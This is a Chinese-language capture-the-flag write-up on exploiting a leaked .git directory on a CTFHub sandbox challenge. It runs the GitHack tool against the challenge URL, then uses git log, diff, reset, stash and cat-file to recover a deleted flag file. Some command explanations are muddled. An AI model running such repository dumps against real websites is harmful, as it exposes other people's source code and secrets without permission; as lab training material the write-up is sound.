關於git泄露的一些簡單操作
關於.git泄漏可以使用GitHack進行.git泄露的利用,工具下載地址:https://github.com/BugScanTeam/GitHack
我這里是windows10環境,使用是需要將git環境安裝在環境變量里。
安裝了git后, 在當前文件夾右鍵打開git bash環境(這里的python版本為2.7)
python GitHack.py http://challenge-55b6c65232b6b6ab.sandbox.ctfhub.com:10080/.git/
就會將泄露的部分下載在dist文件夾下。
進入到.git文件下
cd \dist\challenge-55b6c65232b6b6ab.sandbox.ctfhub.com_10080\
我們在此位置檢查git提交歷史記錄log(同時因為題目也是Log,所以突破點想到日志信息)
git log 查看日志
可以看到add flag之后又將其移除了,所以我們只需要檢查當前文件和上一次提交文件的不同之處即可
使用git diff 命令
git diff 82af46 //82af46日志文件的名字
版本切換
git reset --hard 82af46 //add flag之后的文件
或者是使用git ls-files查看暫存區里面有哪些文件
#這是在remove flag時的文件內容
#這是切換到add flag時的文件內容
當然,index在文件夾里面存在,我們也可以直接打開。
首先,我們需要查看29671524227678.txt文件對應的Blob對象,如下:
git ls-files -s -- 29671524227678.txt //查看文件的id
或者直接 git ls-files -s
然后通過Blob對象,查詢29671524227678.txt里面的內容:
git cat-file -p 29671524227678.txt //查看文件內容
--------------------------------------------------圖片補充~~~----------------------------------------------------------------
git stash
能夠將所有未提交的修改(工作區和暫存區)保存至堆棧中,用於后續恢復當前工作目錄。
查看當前堆棧中保存的未提交的修改
使用git stash list
git stash pop //彈出堆棧的內容
可以看到這里出現了一個 27641291515606.txt 文件
發現這里有兩個逐一查看
------------------------------------------------------------------------------------------------------------------------------------------
或者可以看到add flag這個工作也被保存在了堆棧中,所以只需要知道如何恢復就可以了
使用git stash apply
此時回到目錄中可以看到一個恢復好的文件,打開即可
我們先使用git ls-files -s查看暫存區里面有哪些文件
------------------------------------------------
git checkout //輸出文件查詢
git checkout -b 1321272329348.txt
~~~
創建新分支:git branch branchName
切換到新分支:git checkout branchName
然后,上面兩個命令也可以合成為一個命令:
git checkout -b branchName
~~~
git ls-files -s
git cat-file -p adb933
git switch master // 切換分支
git show //顯示各種類型的文件
總結本次用到命令:
python GitHack.py http://xxx.com/.git/ git log //查看日志 git diff e67aa8 //e67aa8日志文件的名字
git reset --hard 82af46 //切換到add flag之后的文件 git checkout //輸出文件查詢
git stash list //查看堆棧內保存的內容
git stash pop //彈出堆棧中的文件 git stash apply //恢復文件 git ls-files //查看隱藏文件 git ls-files -s -- 3012131234.txt //查看文件id git cat-file -p c47d3a //查看文件內容
git show //顯示各種類型的文件
git switch master //切換樹